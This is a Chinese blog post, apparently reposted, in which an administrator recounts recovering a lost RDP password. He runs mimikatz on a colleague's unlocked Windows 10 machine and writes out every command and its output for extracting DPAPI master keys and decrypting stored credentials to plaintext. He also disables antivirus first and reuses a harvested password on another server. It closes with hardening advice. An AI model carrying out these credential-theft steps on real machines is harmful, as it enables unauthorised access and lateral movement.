值班惊魂!曲折“入侵”事件曝光:Windows 机器本地保存RDP密码破解
值班惊魂!曲折“入侵”事件曝光:Windows 机器本地保存RDP密码破解
作者:高玉涵
时间:2024.7.13 12:41
博客:blog.csdn.net/cg_i
环境:WindowsServer2008 R2 SP1、Windows11专业版(23H2)、Windows10专业版(1909)
别瞎折腾,不然怎么死的都不知道。—— 人生忠告
网络安全免责声明
本教程旨在提供关于网络安全和电脑安全实践的教育和指导。然而,必须明确的是,本教程中的任何内容都不应用于非法或未经授权的活动。
读者应明确,未经授权访问他人电脑系统、网络或数据是违法的,并可能导致严重的法律后果。本教程不鼓励、不提倡也不支持任何形式的黑客行为或网络攻击。
本教程提供的所有信息、工具和技巧仅应用于合法、合规和道德的范围内,例如在自己拥有合法权限的系统上进行安全测试和学习。读者在使用本教程中的任何内容之前,应确保已经获得了所有必要的授权和许可。
此外,本教程的作者和提供者不对因使用本教程中的信息而导致的任何损失、损害或法律责任承担责任。读者应自行承担使用本教程的风险,并确保其行为符合所有适用的法律法规。
总之,本教程是为了教育和指导目的而提供的,读者应负责任地使用其中的内容,并始终遵守法律和道德标准。
一、引子
每次想到要值班,我的头就开始隐隐作痛,仿佛大脑也在抗议这无趣的任务和漫长的煎熬。值班的时间总是显得那么漫长,每一秒都像是在无尽地拖延。为了排解这种苦恼,我决定找点事情来做,于是远程登录到了内网我负责的应用服务器上(通过RDP)。我开始检查程序的运行状态,查看各种数据指标是否正常。我的注意力立刻被吸引了过去,渐渐地,我沉浸在了程序的世界中,那些关于值班的苦恼和煎熬似乎都被我抛在了脑后,取而代之的是对程序运行的关注和思考。
在这个过程中,我竟然意外地发现这台服务器并没有开启防火墙。这台服务器是最近才转交给我使用的,先前我只是为了部署应用才登录进来,任务完成后就退出了,并未过多关注它的系统配置和安全策略。现在,我意识到这是一个严重的安全隐患,必须立即采取措施来避免系统被入侵,防止数据泄露的风险。
然而,可能是值班引起的大脑并发症,表现得迷糊、粗心,并且想当然。我打开系统自带的防火墙,粗略地看了一下默认策略,只是确保允许3389
端口可访问。我当时想当然地认为,开启防火墙后可能会影响到本机运行我不清楚的应用。但我认为,只要远程桌面能登录进去,我再慢慢排查逐一放行即可。
然而,此时我还没有意识到,我的上一任管理员出于安全考虑,已将远程桌面的默认端口改了。我平时都是通过远程桌面的历史记录登录(也包括用户名和密码),久而久之,已然忽略了这项重要的改动。这个疏忽为我后面的悲催经历埋下了伏笔。本想岁月静好,奈何手欠,开启防火墙后,当我尝试通过默认的3389
端口登录远程桌面时,发现无法连接。这时我才恍然大悟,但为时已晚,我已经无法再通过远程桌面访问这台服务器了。
幸运的是,我就在机房,而且我的同事也知道远程桌面的密码。如果一切都这么美好,那么这个故事到这里就结束了,就像戏文故事一样,书生和小姐,虽然经历了一些波折,但最终还是有情人终成眷属,散花庆祝,大圆满结局。
然而,生活总是喜欢给我们制造一些小惊喜。我拨通了同事的电话,对方也不笃定地告诉了我一串所谓的密码(他平时也是通过本地保存的历史记录登录)。这个时候,不出意外的话必出意外,一试之下果然不对。此路不通,冷静下来的我,既然一般手段走不通,那只能走非常手段。虽说别瞎折腾,不然怎么死的都不知道,但我们总是在作死的边缘疯狂试探。这过程之曲折超出我的想象,但收获颇多。
这个故事不仅是一次关于值班的小插曲,更是对网络安全、系统管理以及应急处理的一次深刻反思。这个故事又给你带来了哪些关于日常工作中的安全隐患和应对措施的启示?希望它能引发你的深入思考,并提醒我们在日常工作中时刻保持警惕,防范潜在的风险。
二、mimikatz 奇迹
此时,我陷入了深深的绝望之中,但绝望之中往往孕育着希望。就在这关键的时刻,我突然想起了多年前使用过的一个工具——mimikatz。那时,我还在 Windows7 系统下使用过它,成功地提取出了 Windows 系统中的明文密码。虽然我也不是很确定这个工具在今天是否还能派上用场,但在这种紧急情况下,我决定试一试。
我迅速在网上搜索 mimikatz 的下载地址和使用方法的教程。经过一番折腾和尝试,我终于成功地使用 mimikatz 提取出了保存在本地远程桌面的密码。下面,我将把整个过程详细地记录下来,以供日后参考。
在下载和使用mimikatz之前,我特地关闭了防病毒软件。因为这款工具可能会被误识别为黑客程序而被误杀,尽管它实际上是一款功能强大的渗透测试工具。
注:Mimikatz 是法国安全专家 benjamin 开发的一款轻量级调试工具。它原本是为了个人测试而设计的,但由于其能够直接读取Windows 操作系统的明文密码等强大功能,而在渗透测试领域闻名遐迩。对于渗透测试人员来说,它几乎是一款必备的工具。在这次意外中,它成为了我的救命稻草,让我成功地找回了远程桌面的密码。
三、失败的尝试:Windows11 下这条路走不能
我日常使用的电脑采用的是 Windows11 系统,因此,当面临提取远程桌面密码的挑战时,我首先尝试在这台电脑上使用 mimikatz。然而,事情并没有像我想象中的那么顺利。
在尝试多次后,每到提权步骤时,我就会遇到ERROR kuhl_m_sekurlsa_acquireLSA:login list
的错误提示。这个错误让我陷入了困境,我无法理解为什么会在 Windows11 系统上出现这样的问题。我开始在网上搜索这个错误的解决方案,但遗憾的是,我并没有找到针对 Windows11 系统的有效解决方法。
经过进一步的学习和研究,我得知 Windows11 已经修复了 mimikatz 所依赖的某些漏洞,至少在 23H2 这个版本下是如此。这意味着传统的渗透测试工具和方法,如 mimikatz,在 Windows11 系统上的效果已经大打折扣。
四、电脑不关机且无屏保密码:无异于黑客的“提款机”
屏保密码,作为电脑安全的第一道防线,其重要性不言而喻。它能够有效阻止未经授权的访问,保护我们的数据不被泄露。然而,令人遗憾的是,大家却忽视了这一基本的安全措施,让电脑长时间处于不关机状态,且未设置屏保密码。
在这样的状态下,电脑持续运行,不仅增加了被攻击的风险,还可能成为恶意软件的温床。更糟糕的是,如果这台电脑曾经被用于远程桌面登录,那么它可能还保存着登录记录,包括服务器密码等敏感信息。这对于黑客来说,无疑是一个极具吸引力的目标,一旦成功解密,他们就可以利用这些凭据进行横向移动,进一步渗透网络。
不知道这是“幸运”还是“不幸”,我恰巧遇到了这样一台电脑,它采用的是 Windows10 系统,既没有关机,也没有设置屏保密码。我突发奇想,如果这台电脑曾经登录过我的服务器,那么我是否能从它那里提取出密码呢?这个想法让我既紧张又兴奋,我决定进行尝试,看看这台“裸奔”的电脑是否能给我带来一些意外的收获。
五、实战步骤分解:虽接近目标,但离成功尚远
以下操作均在 Windows10 下完成,以管理员权限启动命令控制台。
1.查看保存在本地的远程主机信息
C:\mimikatz_trunk>cmdkey /list
当前保存的凭据:
目标: Domain:target=TERMSRV/x.x.x.bbb
类型: 域密码
用户: (主机名举例)\Administrator(举例)
本地机器持续时间
遗憾的是,本地只保存了一台主机信息,且 bbb 的主机并非我的目标服务器,但我不禁开始遐想,这位管理员是不是个“密码统一大师”啊?毕竟,他的主机不仅24小时不断电,还大方地敞开着门(没有屏保密码),仿佛在向全世界宣告:“来吧,朋友们,密码随便试,反正我都用同一个!”报着这种心态我进行了下面的操作。
2.查看本地用户是否存有RDP密码文件
cd %userprofile%\AppData\Local\Microsoft\Credentials
dir /ah
C:\Users\你的目录\AppData\Local\Microsoft\Credentials 的目录
2024/07/13 14:56 4,530 6B123BC8B1486336B0C7C4A5267B4196
......
3.启动 mimikatz 调试
选择一个密码文件进行解密,此处需要记录下guidMasterKey
的值,后面需要用它来找到对应的MasterKey
值。
C:\mimikatz_trunk\x64>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # dpapi::cred /in:C:\Users\你的目录\AppData\Local\Microsoft\Credentials\6B123BC8B1486336B0C7C4A5267B4196
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {95cce18a-2fa1-4d8c-93ac-5395080e45e4}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : 3b167358cbb0d8c887f442ccc9f0ead29fc5759af790a12cf9f489ff89468fd1
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 86e7ed763346a6d07b4b9a3c9d7e7e478318087e99a7f7e0db23f3574ccf0b24
dwDataLen : 000000f0 - 240
pbData : ce17260222aef2a818b3b85cfe6192a7dfbea5a23a4e2f888735917131a1fc6075c3047cf54a9ed2cd18e2b2bbf9c9f8fdf093d571f000233241750cc320c80a2f533edeeb56e4e19c292f481ebc682e06b4bb2d21aa9f0de6d456d8192dc1746e486a74309bdc5e39ff30a9e42a7267ba56c30e12a3447ddb7cf7b8e276e976cc86f14c2891db01385d74e9d51b6050fff1241f6cee15073c820915f77156315942c3f6c9752f8b00abddb4a2f187a892f3597d8b7594d0be55e2cf641cba9d8a79b72abd90dab8d71b893a20f883fb4ce98be7d7228555248c506a9a1c1f66dceef2303e90b7349635149330d77981
dwSignLen : 00000040 - 64
pbSign : 391f58ae00a09c671442fe1dd90ac52da5b1b362bc6a95d03c27648b498cba111d871705204766ea1606b0b747657b5313c6362e47b8376641afe7073a9a6a20
注:guidMasterKey : {95cce18a-2fa1-4d8c-93ac-5395080e45e4}
4.根据guidMasterKey
的值,找到对应的MasterKey
值
mimikatz # sekurlsa::dpapi
Authentication Id : 0 ; 344570 (00000000:000541fa)
Session : Interactive from 1
User Name : (用户名举例)
Domain : (域名举例)
Logon Server : (主机名举例)
Logon Time : 2023-4-27 11:45:16
SID : S-1-5-21-3331209435-2227203319-2278969760-1001
...省略...
[00000002]
* GUID : {95cce18a-2fa1-4d8c-93ac-5395080e45e4}
* Time : 2023-9-26 12:22:51
* MasterKey : e0a669004d7877f2e7cb504bf5135748d354e6a9d2891eab75522760d13f04627fd4aaee74f9bbc70bca470159ed0442a5587cd67d3eb42f675ad96824f7aace
* sha1(key) : ecd7f884aca785f59e4947586d00ae4c87df34e7
[00000003]
* GUID : {c184bec3-002f-44ce-a001-d17b0e714157}
* Time : 2024-2-21 10:52:22
* MasterKey : 519c7a38942fe46ccc42dc99c2f34e0004cdf3a480662cbc385067f8f1701964a2fc630b71aeb7fc390c1179b5b09b8fb67b0e7f92404cc1290755db218ae087
注:MasterKey : e0a669004d7877f2e7cb504bf5135748d354e6a9d2891eab75522760d13f04627fd4aaee74f9bbc70bca470159ed0442a5587cd67d3eb42f675ad96824f7aace
5.通过Masterkey
解密出明文RDP连接密码
mimikatz # dpapi::cred /in:C:\Users\xxxxxx\AppData\Local\Microsoft\Credentials\6B123BC8B1486336B0C7C4A5267B4196 /masterkey:e0a669004d7877f2e7cb504bf5135748d354e6a9d2891eab75522760d13f04627fd4aaee74f9bbc70bca470159ed0442a5587cd67d3eb42f675ad96824f7aace
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {95cce18a-2fa1-4d8c-93ac-5395080e45e4}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : 3b167358cbb0d8c887f442ccc9f0ead29fc5759af790a12cf9f489ff89468fd1
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 86e7ed763346a6d07b4b9a3c9d7e7e478318087e99a7f7e0db23f3574ccf0b24
dwDataLen : 000000f0 - 240
pbData : ce17260222aef2a818b3b85cfe6192a7dfbea5a23a4e2f888735917131a1fc6075c3047cf54a9ed2cd18e2b2bbf9c9f8fdf093d571f000233241750cc320c80a2f533edeeb56e4e19c292f481ebc682e06b4bb2d21aa9f0de6d456d8192dc1746e486a74309bdc5e39ff30a9e42a7267ba56c30e12a3447ddb7cf7b8e276e976cc86f14c2891db01385d74e9d51b6050fff1241f6cee15073c820915f77156315942c3f6c9752f8b00abddb4a2f187a892f3597d8b7594d0be55e2cf641cba9d8a79b72abd90dab8d71b893a20f883fb4ce98be7d7228555248c506a9a1c1f66dceef2303e90b7349635149330d77981
dwSignLen : 00000040 - 64
pbSign : 391f58ae00a09c671442fe1dd90ac52da5b1b362bc6a95d03c27648b498cba111d871705204766ea1606b0b747657b5313c6362e47b8376641afe7073a9a6a20
Decrypting Credential:
* volatile cache: GUID:{95cce18a-2fa1-4d8c-93ac-5395080e45e4};KeyHash:ecd7f884aca785f59e4947586d00ae4c87df34e7;Key:available
* masterkey : e0a669004d7877f2e7cb504bf5135748d354e6a9d2891eab75522760d13f04627fd4aaee74f9bbc70bca470159ed0442a5587cd67d3eb42f675ad96824f7aace
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000e0 - 224
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 2023-8-17 1:36:58
unkFlagsOrSize : 00000018 - 24
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/x.x.x.bbb
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : xxxxxxxx\Administrator
CredentialBlob : 123456(密码举例)
Attributes : 0
bbb 主机密码为:123456,破解成功。
六、破解之道:运气与策略的交织
我拿着 bbb 主机的密码,尝试着登录目标服务器,通过。
七、总结:暴露出的安全问题及改进建议
1.安全问题:
-
防火墙未开启:服务器未启用防火墙,使得系统直接暴露在网络攻击之下。
-
**密码复用:**管理员可能在不同主机上使用相同密码,一旦泄露将影响多台系统安全。
-
敏感信息明文存储:RDP密码等敏感信息被明文保存在本地。
2.改进建议:
- 启用并配置防火墙:确保所有服务器和关键电脑都开启了防火墙,并合理配置安全策略。
- 设置屏保密码:要求所有电脑设置屏保密码,并在非使用时段自动锁定屏幕。不使用的电脑要关机。
- 禁止密码复用:实施强密码策略,禁止在不同系统间使用相同密码,并定期更换密码。
- 加密存储敏感信息:使用加密工具或方法存储敏感信息或不在本地保存RDP密码。
八、最后的话
写到这里,午饭都没顾上吃,肚子一直在咕咕叫,先去吃饭,下次再聊。—— 16:04
参考资料:
原文地址:https://blog.csdn.net/cg_i/article/details/140401621
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!